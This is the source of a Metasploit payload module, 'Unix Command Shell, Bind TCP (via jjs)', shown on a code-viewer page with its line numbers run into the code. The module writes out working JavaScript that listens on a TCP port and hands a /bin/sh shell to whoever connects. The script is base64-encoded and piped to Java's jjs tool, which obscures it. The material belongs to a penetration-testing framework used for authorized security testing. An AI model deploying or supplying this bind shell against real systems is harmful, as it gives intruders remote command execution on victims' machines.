Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/bind_jjs.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 795910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Unix Command Shell, Bind TCP (via jjs)',16'Description' => 'Listen for a connection and spawn a command shell via jjs',17'Author' => [18'conerpirate', # jjs bind shell19'bcoles' # metasploit20],21'References' => [22['URL', 'https://gtfobins.github.io/gtfobins/jjs/'],23['URL', 'https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/'],24['URL', 'https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html'],25],26'License' => MSF_LICENSE,27'Platform' => 'unix',28'Arch' => ARCH_CMD,29'Handler' => Msf::Handler::BindTcp,30'Session' => Msf::Sessions::CommandShell,31'PayloadType' => 'cmd',32'RequiredCmd' => 'jjs',33'Payload' => { 'Offsets' => {}, 'Payload' => '' }34))35register_options(36[37OptString.new('SHELL', [ true, 'The shell to execute', '/bin/sh' ])38]39)40register_advanced_options(41[42OptString.new('JJSPath', [true, 'The path to the JJS executable', 'jjs'])43]44)45end4647def generate(_opts = {})48return super + command_string49end5051def command_string52jcode = %Q{53var ss=new java.net.ServerSocket(#{datastore['LPORT']});54while(true){55var s=ss.accept();56var p=new java.lang.ProcessBuilder("#{datastore['SHELL']}").redirectErrorStream(true).start();57var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();58var po=p.getOutputStream(),so=s.getOutputStream();59while(!s.isClosed()){60while(pi.available()>0)so.write(pi.read());61while(pe.available()>0)so.write(pe.read());62while(si.available()>0)po.write(si.read());63so.flush();64po.flush();65java.lang.Thread.sleep(50);66try{p.exitValue();break;}catch(e){}67};68p.destroy();s.close();ss.close();69}70}7172minified = jcode.split("\n").map(&:lstrip).join7374%Q{echo "eval(new java.lang.String(java.util.Base64.decoder.decode('#{Rex::Text.encode_base64(minified)}')));"|#{datastore['JJSPath']}}75end76end777879